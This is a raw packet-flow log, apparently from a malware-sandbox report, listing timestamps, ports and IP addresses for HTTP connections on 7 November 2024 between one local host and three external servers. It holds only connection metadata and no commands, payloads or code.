Nov 7, 2024 10:52:29.105017900 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.105149031 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.105159998 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.105186939 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.105369091 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.105407000 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.105460882 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.105473042 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.105513096 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.108639956 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.108675003 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.108685017 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.108711958 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.192806959 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.192955017 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.193114996 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.531791925 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.546927929 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:30.564220905 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:30.569577932 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:30.569647074 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:30.581115961 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:30.587455988 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.228734016 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.228749037 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.228828907 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.229284048 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.229315042 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.229327917 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.229340076 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.229351044 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.229355097 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.229371071 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.229377985 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.229418039 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.229859114 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.229872942 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.229909897 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.259902000 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.260632038 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.260675907 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.346136093 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.346151114 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.346168041 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.346179962 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.346193075 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.346355915 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.346355915 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.346606016 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.346620083 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.346631050 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.346642971 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.346669912 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.347074032 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.347101927 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.432512999 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.432574034 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.432588100 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.432607889 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.432655096 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.462963104 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.462999105 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.463011980 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.463068008 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.463247061 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.463268042 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.463355064 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.463424921 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.463438034 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.463449001 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.463509083 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.463673115 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.464198112 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.464301109 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.549567938 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.550184965 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.550209999 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.550220966 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.550322056 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.580102921 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.580132008 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.580143929 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.580360889 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.580461025 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.580485106 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.580594063 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.580606937 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.580619097 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.580693960 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.580960035 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.581044912 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.581227064 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.581240892 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.581360102 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.581367970 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.666574001 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.666645050 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.666683912 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.697712898 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.697727919 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.697741032 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.697803020 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.697803020 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.697833061 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.697846889 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.697858095 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.697870970 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.697896957 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.698283911 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.698296070 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.698307991 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.698373079 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.703131914 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.703176975 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.703192949 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.703382969 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:31.784457922 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.785130024 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:31.785506010 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:32.031604052 CET	80	49200	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:32.089653015 CET	49200	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.106555939 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.111788988 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.111886024 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.123246908 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.128129959 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.128182888 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.128384113 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.133174896 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.133291960 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.780874014 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.780972958 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.781116962 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.781124115 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.781136036 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.781203985 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.781235933 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.781270027 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.781280994 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.781359911 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.781403065 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.781414986 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.781478882 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.781562090 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.786004066 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.786065102 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.786076069 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.786171913 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.786263943 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.813153028 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.813803911 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.813906908 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.900434971 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.900495052 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.900506973 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.900603056 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.900696039 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.900708914 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.900780916 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.900918961 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.900995016 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.901093960 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.901144028 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.901155949 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.901664019 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.901758909 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.901798010 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.901809931 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.901901960 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:33.932646990 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.932702065 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.932717085 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:33.932806015 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.020540953 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.020555019 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.020668983 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.020776033 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.022597075 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.022739887 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.022751093 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.022763014 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.022772074 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.022778988 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.022790909 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.022799969 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.022802114 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.022802114 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.022813082 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.022825003 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.022855043 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.052958012 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.052969933 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.052983046 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.053092957 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.053236008 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.139152050 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.139224052 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.139235973 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.139247894 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.139303923 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.139636040 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.139648914 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.139738083 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.139916897 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.139928102 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.139939070 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.139961958 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.140192032 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.140202999 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.140213966 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.140239000 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.172245026 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.172269106 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.172280073 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.172297001 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.172358990 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.172542095 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.258613110 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.258707047 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.258718967 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.258804083 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.258970022 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.258981943 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.259203911 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.259217024 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.259218931 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.259300947 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.259449959 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.259566069 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.259577990 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.259588957 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.259875059 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.292082071 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.292171001 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.292184114 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.292273998 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.292386055 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.292473078 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.523446083 CET	80	49201	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:34.523499012 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:34.632455111 CET	49201	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:35.711236954 CET	49202	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:35.716413021 CET	80	49202	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:35.722445965 CET	49202	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:35.727646112 CET	80	49202	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:35.734534979 CET	49202	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:35.765975952 CET	49202	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:35.765976906 CET	49202	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:35.770979881 CET	80	49202	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:35.771029949 CET	80	49202	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:41.076801062 CET	49203	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:41.082289934 CET	80	49203	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:41.086447954 CET	49203	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:41.094434023 CET	49203	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:41.099481106 CET	80	49203	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:41.099575996 CET	80	49203	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:41.099757910 CET	49203	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:41.104692936 CET	80	49203	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:42.059843063 CET	80	49203	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:42.245460987 CET	80	49203	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:42.245522976 CET	49203	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:42.604123116 CET	49203	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:43.621426105 CET	49204	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:43.626199961 CET	80	49204	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:43.626274109 CET	49204	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:43.631691933 CET	80	49204	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:43.631752014 CET	49204	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:43.637758970 CET	49204	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:43.643013000 CET	80	49204	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:46.164573908 CET	49205	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:46.169677973 CET	80	49205	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:46.172455072 CET	49205	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:46.177624941 CET	80	49205	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:46.181489944 CET	49205	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:46.181489944 CET	49205	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:46.186405897 CET	80	49205	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:46.186511993 CET	80	49205	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:48.707431078 CET	49206	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:48.712575912 CET	80	49206	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:48.712635040 CET	49206	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:48.719984055 CET	49206	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:48.724917889 CET	80	49206	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:49.702600956 CET	80	49206	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:49.886065006 CET	80	49206	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:49.886271000 CET	49206	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:49.890480042 CET	49206	80	192.168.2.22	206.119.81.36
Nov 7, 2024 10:52:49.895981073 CET	80	49206	206.119.81.36	192.168.2.22
Nov 7, 2024 10:52:54.906996012 CET	49207	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:55.265650034 CET	80	49207	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:55.265716076 CET	49207	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:55.276846886 CET	49207	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:55.281717062 CET	80	49207	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:55.281765938 CET	49207	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:55.281802893 CET	80	49207	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:55.286612034 CET	80	49207	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:56.137284994 CET	80	49207	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:56.137314081 CET	80	49207	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:56.137454987 CET	49207	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:56.266988039 CET	80	49207	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:56.268577099 CET	49207	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:56.784571886 CET	49207	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:57.801529884 CET	49208	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:57.806672096 CET	80	49208	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:57.814487934 CET	49208	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:57.822489977 CET	49208	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:57.827471018 CET	80	49208	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:58.647708893 CET	80	49208	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:58.648230076 CET	80	49208	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:58.648287058 CET	49208	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:59.117046118 CET	80	49208	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:59.117142916 CET	49208	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:59.118341923 CET	80	49208	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:59.118377924 CET	49208	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:59.330049992 CET	49208	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:52:59.356739998 CET	80	49208	142.250.185.115	192.168.2.22
Nov 7, 2024 10:52:59.356796980 CET	49208	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:00.343935013 CET	49209	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:00.348829985 CET	80	49209	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:00.352509022 CET	49209	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:00.360677958 CET	49209	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:00.365679979 CET	80	49209	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:00.365875959 CET	80	49209	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:00.369112968 CET	49209	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:00.374109030 CET	80	49209	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:00.374133110 CET	80	49209	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:01.204752922 CET	80	49209	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:01.204865932 CET	80	49209	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:01.204906940 CET	49209	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:01.324395895 CET	80	49209	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:01.324486017 CET	49209	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:01.872510910 CET	49209	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:02.891602993 CET	49210	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:02.896778107 CET	80	49210	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:02.896867037 CET	49210	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:02.904683113 CET	49210	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:02.910547972 CET	80	49210	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:03.748545885 CET	80	49210	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:03.749058962 CET	80	49210	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:03.749151945 CET	49210	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:03.868792057 CET	80	49210	142.250.185.115	192.168.2.22
